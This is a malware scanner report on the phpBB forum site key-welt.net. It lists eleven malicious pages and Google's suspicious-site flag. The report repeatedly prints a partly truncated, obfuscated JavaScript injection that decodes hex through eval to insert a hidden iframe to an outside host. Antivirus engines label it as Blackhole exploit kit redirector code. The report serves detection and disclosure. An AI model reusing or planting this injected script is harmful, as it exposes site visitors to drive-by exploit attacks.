New scan:

Malware Scanner report for key-welt.net

Malicious/Suspicious/Total urls checked
12/0/15
12 pages have malicious code. See details below
Blacklists
Found
The website is marked by Google as suspicious.

The website "key-welt.net" is probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues.
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/0
Deface / Content modification
OK

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Malware & Hack Repair

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  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

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  • Files & DB Monitoring
  • Daily Backups
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Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=key-welt.net

Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.

Scanned pages/files

RequestServer responseStatus
http://key-welt.net/
200 OK
Content-Length: 35828
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["bo"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,71,63,58,65,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,71,63,58,65,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,60,61,6e,60,63,63,5c,65,5e,63,58,6a,6d,5
... 3220 bytes are skipped ...
,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1336!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}

Antivirus reports:

AntiVir
JS/Blacole.DH.1
Avast
JS:Decode-AJU [Trj]
Ikarus
Trojan.JS.BlacoleRef
nProtect
Dropped:Trojan.JS.BlacoleRef.BI
Emsisoft
Dropped:Trojan.JS.BlacoleRef.BI (B)
Comodo
TrojWare.JS.Agent.NB
CAT-QuickHeal
JS/BlacoleRef.CZB
McAfee-GW-Edition
JS/Exploit-Blacole.ht
DrWeb
JS.IFrame.454
Kaspersky
Trojan.JS.Agent.cbn
Microsoft
Trojan:JS/BlacoleRef.DH
Fortinet
JS/Agent.CBN!tr
McAfee
JS/Exploit-Blacole.ht
NANO-Antivirus
Trojan.Script.Expack.btugex
AVG
HTML/Framer
GData
Dropped:Trojan.JS.BlacoleRef.BI
BitDefender
Dropped:Trojan.JS.BlacoleRef.BI

http://key-welt.net/./styles/prosilver/template/styleswitcher.js
200 OK
Content-Length: 3041
Content-Type: application/javascript
clean
http://key-welt.net/./styles/prosilver/template/forum_fn.js
200 OK
Content-Length: 9142
Content-Type: application/javascript
clean
http://key-welt.net/./index.php?sid=04bfc493233d1f795d66d5e60c296af5
200 OK
Content-Length: 4998
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["bo"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,71,63,58,65,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,71,63,58,65,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,60,61,6e,60,63,63,5c,65,5e,63,58,6a,6d,5
... 3220 bytes are skipped ...
,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1336!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}

Antivirus reports:

AntiVir
JS/Blacole.DH.1
Avast
JS:Decode-AJU [Trj]
Ikarus
Trojan.JS.BlacoleRef
nProtect
Dropped:Trojan.JS.BlacoleRef.BI
Emsisoft
Dropped:Trojan.JS.BlacoleRef.BI (B)
Comodo
TrojWare.JS.Agent.NB
CAT-QuickHeal
JS/BlacoleRef.CZB
McAfee-GW-Edition
JS/Exploit-Blacole.ht
DrWeb
JS.IFrame.454
Kaspersky
Trojan.JS.Agent.cbn
Microsoft
Trojan:JS/BlacoleRef.DH
Fortinet
JS/Agent.CBN!tr
McAfee
JS/Exploit-Blacole.ht
NANO-Antivirus
Trojan.Script.Expack.btugex
AVG
HTML/Framer
GData
Dropped:Trojan.JS.BlacoleRef.BI
BitDefender
Dropped:Trojan.JS.BlacoleRef.BI

http://key-welt.net/test404page.js
404 Not Found
Content-Length: 1041
Content-Type: text/html
clean
http://key-welt.net/faq.php
200 OK
Content-Length: 67284
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["bo"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,71,63,58,65,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,71,63,58,65,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,60,61,6e,60,63,63,5c,65,5e,63,58,6a,6d,5
... 3220 bytes are skipped ...
,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1336!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}

Antivirus reports:

AntiVir
JS/Blacole.DH.1
Avast
JS:Decode-AJU [Trj]
Ikarus
Trojan.JS.BlacoleRef
nProtect
Dropped:Trojan.JS.BlacoleRef.BI
Emsisoft
Dropped:Trojan.JS.BlacoleRef.BI (B)
Comodo
TrojWare.JS.Agent.NB
CAT-QuickHeal
JS/BlacoleRef.CZB
McAfee-GW-Edition
JS/Exploit-Blacole.ht
DrWeb
JS.IFrame.454
Kaspersky
Trojan.JS.Agent.cbn
Microsoft
Trojan:JS/BlacoleRef.DH
Fortinet
JS/Agent.CBN!tr
McAfee
JS/Exploit-Blacole.ht
NANO-Antivirus
Trojan.Script.Expack.btugex
AVG
HTML/Framer
GData
Dropped:Trojan.JS.BlacoleRef.BI
BitDefender
Dropped:Trojan.JS.BlacoleRef.BI

http://key-welt.net/./index.php?sid=12a9d1b9eae719eea30936f84adcf04a
200 OK
Content-Length: 4998
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["bo"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,71,63,58,65,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,71,63,58,65,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,60,61,6e,60,63,63,5c,65,5e,63,58,6a,6d,5
... 3220 bytes are skipped ...
,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1336!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}

Antivirus reports:

AntiVir
JS/Blacole.DH.1
Avast
JS:Decode-AJU [Trj]
Ikarus
Trojan.JS.BlacoleRef
nProtect
Dropped:Trojan.JS.BlacoleRef.BI
Emsisoft
Dropped:Trojan.JS.BlacoleRef.BI (B)
Comodo
TrojWare.JS.Agent.NB
CAT-QuickHeal
JS/BlacoleRef.CZB
McAfee-GW-Edition
JS/Exploit-Blacole.ht
DrWeb
JS.IFrame.454
Kaspersky
Trojan.JS.Agent.cbn
Microsoft
Trojan:JS/BlacoleRef.DH
Fortinet
JS/Agent.CBN!tr
McAfee
JS/Exploit-Blacole.ht
NANO-Antivirus
Trojan.Script.Expack.btugex
AVG
HTML/Framer
GData
Dropped:Trojan.JS.BlacoleRef.BI
BitDefender
Dropped:Trojan.JS.BlacoleRef.BI

http://key-welt.net/ucp.php?mode=register
200 OK
Content-Length: 15328
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["bo"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,71,63,58,65,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,71,63,58,65,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,60,61,6e,60,63,63,5c,65,5e,63,58,6a,6d,5
... 3220 bytes are skipped ...
,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1336!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}

Antivirus reports:

AntiVir
JS/Blacole.DH.1
Avast
JS:Decode-AJU [Trj]
Ikarus
Trojan.JS.BlacoleRef
nProtect
Dropped:Trojan.JS.BlacoleRef.BI
Emsisoft
Dropped:Trojan.JS.BlacoleRef.BI (B)
Comodo
TrojWare.JS.Agent.NB
CAT-QuickHeal
JS/BlacoleRef.CZB
McAfee-GW-Edition
JS/Exploit-Blacole.ht
DrWeb
JS.IFrame.454
Kaspersky
Trojan.JS.Agent.cbn
Microsoft
Trojan:JS/BlacoleRef.DH
Fortinet
JS/Agent.CBN!tr
McAfee
JS/Exploit-Blacole.ht
NANO-Antivirus
Trojan.Script.Expack.btugex
AVG
HTML/Framer
GData
Dropped:Trojan.JS.BlacoleRef.BI
BitDefender
Dropped:Trojan.JS.BlacoleRef.BI

http://key-welt.net/./index.php?sid=1d647466d3961d7524ba394c18c197a1
200 OK
Content-Length: 4998
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["bo"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,71,63,58,65,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,71,63,58,65,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,60,61,6e,60,63,63,5c,65,5e,63,58,6a,6d,5
... 3220 bytes are skipped ...
,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1336!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}

Antivirus reports:

AntiVir
JS/Blacole.DH.1
Avast
JS:Decode-AJU [Trj]
Ikarus
Trojan.JS.BlacoleRef
nProtect
Dropped:Trojan.JS.BlacoleRef.BI
Emsisoft
Dropped:Trojan.JS.BlacoleRef.BI (B)
Comodo
TrojWare.JS.Agent.NB
CAT-QuickHeal
JS/BlacoleRef.CZB
McAfee-GW-Edition
JS/Exploit-Blacole.ht
DrWeb
JS.IFrame.454
Kaspersky
Trojan.JS.Agent.cbn
Microsoft
Trojan:JS/BlacoleRef.DH
Fortinet
JS/Agent.CBN!tr
McAfee
JS/Exploit-Blacole.ht
NANO-Antivirus
Trojan.Script.Expack.btugex
AVG
HTML/Framer
GData
Dropped:Trojan.JS.BlacoleRef.BI
BitDefender
Dropped:Trojan.JS.BlacoleRef.BI

http://key-welt.net/./faq.php?sid=1d647466d3961d7524ba394c18c197a1
200 OK
Content-Length: 4998
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["bo"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,71,63,58,65,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,71,63,58,65,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,60,61,6e,60,63,63,5c,65,5e,63,58,6a,6d,5
... 3220 bytes are skipped ...
,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1336!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}

Antivirus reports:

AntiVir
JS/Blacole.DH.1
Avast
JS:Decode-AJU [Trj]
Ikarus
Trojan.JS.BlacoleRef
nProtect
Dropped:Trojan.JS.BlacoleRef.BI
Emsisoft
Dropped:Trojan.JS.BlacoleRef.BI (B)
Comodo
TrojWare.JS.Agent.NB
CAT-QuickHeal
JS/BlacoleRef.CZB
McAfee-GW-Edition
JS/Exploit-Blacole.ht
DrWeb
JS.IFrame.454
Kaspersky
Trojan.JS.Agent.cbn
Microsoft
Trojan:JS/BlacoleRef.DH
Fortinet
JS/Agent.CBN!tr
McAfee
JS/Exploit-Blacole.ht
NANO-Antivirus
Trojan.Script.Expack.btugex
AVG
HTML/Framer
GData
Dropped:Trojan.JS.BlacoleRef.BI
BitDefender
Dropped:Trojan.JS.BlacoleRef.BI

http://key-welt.net/./ucp.php?mode=login&sid=1d647466d3961d7524ba394c18c197a1
200 OK
Content-Length: 4998
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["bo"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,71,63,58,65,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,71,63,58,65,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,60,61,6e,60,63,63,5c,65,5e,63,58,6a,6d,5
... 3220 bytes are skipped ...
,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1336!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}

Antivirus reports:

AntiVir
JS/Blacole.DH.1
Avast
JS:Decode-AJU [Trj]
Ikarus
Trojan.JS.BlacoleRef
nProtect
Dropped:Trojan.JS.BlacoleRef.BI
Emsisoft
Dropped:Trojan.JS.BlacoleRef.BI (B)
Comodo
TrojWare.JS.Agent.NB
CAT-QuickHeal
JS/BlacoleRef.CZB
McAfee-GW-Edition
JS/Exploit-Blacole.ht
DrWeb
JS.IFrame.454
Kaspersky
Trojan.JS.Agent.cbn
Microsoft
Trojan:JS/BlacoleRef.DH
Fortinet
JS/Agent.CBN!tr
McAfee
JS/Exploit-Blacole.ht
NANO-Antivirus
Trojan.Script.Expack.btugex
AVG
HTML/Framer
GData
Dropped:Trojan.JS.BlacoleRef.BI
BitDefender
Dropped:Trojan.JS.BlacoleRef.BI

http://key-welt.net/./ucp.php?mode=register&coppa=0&sid=1d647466d3961d7524ba394c18c197a1
200 OK
Content-Length: 4998
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["bo"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,71,63,58,65,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,71,63,58,65,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,60,61,6e,60,63,63,5c,65,5e,63,58,6a,6d,5
... 3220 bytes are skipped ...
,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1336!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}

Antivirus reports:

AntiVir
JS/Blacole.DH.1
Avast
JS:Decode-AJU [Trj]
Ikarus
Trojan.JS.BlacoleRef
nProtect
Dropped:Trojan.JS.BlacoleRef.BI
Emsisoft
Dropped:Trojan.JS.BlacoleRef.BI (B)
Comodo
TrojWare.JS.Agent.NB
CAT-QuickHeal
JS/BlacoleRef.CZB
McAfee-GW-Edition
JS/Exploit-Blacole.ht
DrWeb
JS.IFrame.454
Kaspersky
Trojan.JS.Agent.cbn
Microsoft
Trojan:JS/BlacoleRef.DH
Fortinet
JS/Agent.CBN!tr
McAfee
JS/Exploit-Blacole.ht
NANO-Antivirus
Trojan.Script.Expack.btugex
AVG
HTML/Framer
GData
Dropped:Trojan.JS.BlacoleRef.BI
BitDefender
Dropped:Trojan.JS.BlacoleRef.BI

http://key-welt.net/./ucp.php?mode=register&coppa=1&sid=1d647466d3961d7524ba394c18c197a1
200 OK
Content-Length: 4998
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["bo"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,71,63,58,65,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,71,63,58,65,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,60,61,6e,60,63,63,5c,65,5e,63,58,6a,6d,5
... 3220 bytes are skipped ...
,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1336!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}

Antivirus reports:

AntiVir
JS/Blacole.DH.1
Avast
JS:Decode-AJU [Trj]
Ikarus
Trojan.JS.BlacoleRef
nProtect
Dropped:Trojan.JS.BlacoleRef.BI
Emsisoft
Dropped:Trojan.JS.BlacoleRef.BI (B)
Comodo
TrojWare.JS.Agent.NB
CAT-QuickHeal
JS/BlacoleRef.CZB
McAfee-GW-Edition
JS/Exploit-Blacole.ht
DrWeb
JS.IFrame.454
Kaspersky
Trojan.JS.Agent.cbn
Microsoft
Trojan:JS/BlacoleRef.DH
Fortinet
JS/Agent.CBN!tr
McAfee
JS/Exploit-Blacole.ht
NANO-Antivirus
Trojan.Script.Expack.btugex
AVG
HTML/Framer
GData
Dropped:Trojan.JS.BlacoleRef.BI
BitDefender
Dropped:Trojan.JS.BlacoleRef.BI

http://key-welt.net/./memberlist.php?mode=leaders&sid=1d647466d3961d7524ba394c18c197a1
200 OK
Content-Length: 4998
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["bo"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["eval"];if(1){f="17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,71,63,58,65,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,71,63,58,65,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,60,61,6e,60,63,63,5c,65,5e,63,58,6a,6d,5
... 3220 bytes are skipped ...
,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1"[sp](",");}w=f;s=[];for(i=2-2;-i+1336!=0;i+=1){j=i;if((0x19==031))if(e)s+=ff(e(aq+(w[j]))+0xa-bv);}za=e;za(s)}

Antivirus reports:

AntiVir
JS/Blacole.DH.1
Avast
JS:Decode-AJU [Trj]
Ikarus
Trojan.JS.BlacoleRef
nProtect
Dropped:Trojan.JS.BlacoleRef.BI
Emsisoft
Dropped:Trojan.JS.BlacoleRef.BI (B)
Comodo
TrojWare.JS.Agent.NB
CAT-QuickHeal
JS/BlacoleRef.CZB
McAfee-GW-Edition
JS/Exploit-Blacole.ht
DrWeb
JS.IFrame.454
Kaspersky
Trojan.JS.Agent.cbn
Microsoft
Trojan:JS/BlacoleRef.DH
Fortinet
JS/Agent.CBN!tr
McAfee
JS/Exploit-Blacole.ht
NANO-Antivirus
Trojan.Script.Expack.btugex
AVG
HTML/Framer
GData
Dropped:Trojan.JS.BlacoleRef.BI
BitDefender
Dropped:Trojan.JS.BlacoleRef.BI

http://key-welt.net/./ucp.php?mode=delete_cookies&sid=1d647466d3961d7524ba394c18c197a1
200 OK
Content-Length: 4998
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

